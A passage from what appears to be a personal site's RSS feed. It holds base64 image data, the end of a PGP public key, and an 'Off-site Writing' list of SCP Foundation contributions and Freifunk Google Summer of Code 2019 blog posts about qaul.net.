pDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5&#xA;eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU&#xA;1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA&#xA;AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2Fx&#xA;EyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdI&#xA;SUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Sl&#xA;pqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4&#xA;+fr/2gAMAwEAAhEDEQA/APFY2LRjH+si+Zfcdx/X86ZKoV8r9xuVpisUcMpwQcir&#xA;DBCNvSN/mQn+E9x/n2ruJfuyv/X9f8ErUVKLeQ/3P++x/jS/ZpP9j/vsf40i+ePc&#xA;hrStdCvruISrGEQ9C5xmrejaG0twJbpQEQ52Zzk+9dTKRs2AAKK5qteztE2hT5ld&#xA;nHNoM0T4lli29ypOP5UsumwRQ7gyt7g10VwpVck577awHV7+7SGKNQ0hxx29TUe0&#xA;lLqDgkZzWpL4Q5X19KmTSp5FyhGO2eM1YgVIyFILD2PWtqzgjlQmBsHupNN1ZISg&#xA;mcjJE8LlZEKsOxFRk5rvv7OhuYGjuEDg+3Irn77wzPCxa2YOnoxwauFeL0YpUmtR&#xA;NaH2rTNOvxzlPKc+4/8A1GsiQbo45PbafqP/AK2K6HRLKXUbK70d/LWXHmRb5FXD&#xA;DqOT/nml8M6TFdXk9rcxxmdPmVJJVC8cHqeoq02keLHEww8Jxl9h/g9v68ir4duI&#xA;zJNYTf6q5XA+uP8AD+VZV7ayWV1JbyD5lPB9R2NamuaBdaNfgrsETndEyyqce2Qe&#xA;oqPU71tStrcPBGLhOHk3jkfnSV73XUulUi6irUneM9/J9/0Zn2dzNbThoVDn+4y7&#xA;gePSiuq8N6HGbddT3ouwGM+dKiqG9Rk+hxRWc5O+kbnBisfRVVrlUrHHVIjLtMbk&#xA;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&#xA;=VB5E&#xA;-----END PGP PUBLIC KEY BLOCK-----&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Off-site Writing</title>
      <link>https://nora.codes/elsewhere/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/elsewhere/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve written for other sites as well; this is an incomplete directory of that work.&lt;/p&gt;&#xA;&lt;h2 id=&#34;scp-foundation&#34;&gt;SCP Foundation&lt;/h2&gt;&#xA;&lt;p&gt;The SCP Foundation Wiki is a collaborative microfiction project to which I am an&#xA;occasional contributor.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://scp-wiki.wikidot.com/scp-2568&#34;&gt;SCP-2568&lt;/a&gt; &amp;ldquo;Snap to Grid&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;SCP-7443 &amp;ldquo;Spear Point, NJ&amp;rdquo; (removed)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;freifunk-community-blog&#34;&gt;Freifunk Community Blog&lt;/h2&gt;&#xA;&lt;p&gt;I worked with Freifunk for Google Summer of Code 2019 to build a network&#xA;simulation suite for &lt;a href=&#34;https://irde.st/&#34;&gt;Irdest&lt;/a&gt;, then called qual.net.&#xA;Among other things, this work resulted in several blog posts.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve written for other sites as well; this is an incomplete directory of that work.&lt;/p&gt;&#xA;&lt;h2 id=&#34;scp-foundation&#34;&gt;SCP Foundation&lt;/h2&gt;&#xA;&lt;p&gt;The SCP Foundation Wiki is a collaborative microfiction project to which I am an&#xA;occasional contributor.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://scp-wiki.wikidot.com/scp-2568&#34;&gt;SCP-2568&lt;/a&gt; &amp;ldquo;Snap to Grid&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;SCP-7443 &amp;ldquo;Spear Point, NJ&amp;rdquo; (removed)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;freifunk-community-blog&#34;&gt;Freifunk Community Blog&lt;/h2&gt;&#xA;&lt;p&gt;I worked with Freifunk for Google Summer of Code 2019 to build a network&#xA;simulation suite for &lt;a href=&#34;https://irde.st/&#34;&gt;Irdest&lt;/a&gt;, then called qual.net.&#xA;Among other things, this work resulted in several blog posts.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://blog.freifunk.net/2019/05/28/gsoc-2019-building-a-network-simulator-for-qaul-net/&#34;&gt;Building a Network Simulator for qaul.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://blog.freifunk.net/2019/06/23/gsoc-2019-simulating-eventual-consistency-for-qaul-net/&#34;&gt;Simulating eventual consistenct for qaul.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://blog.freifunk.net/2019/07/24/qaul-net-the-conceptual-value-of-testing/&#34;&gt;The Conceptual Value of Testing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://blog.freifunk.net/2019/08/20/gsoc-2019-building-a-testing-framework-for-qaul-net/&#34;&gt;Building a Testing Framework for qaul.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
    </item>
  </channel>
</rss>

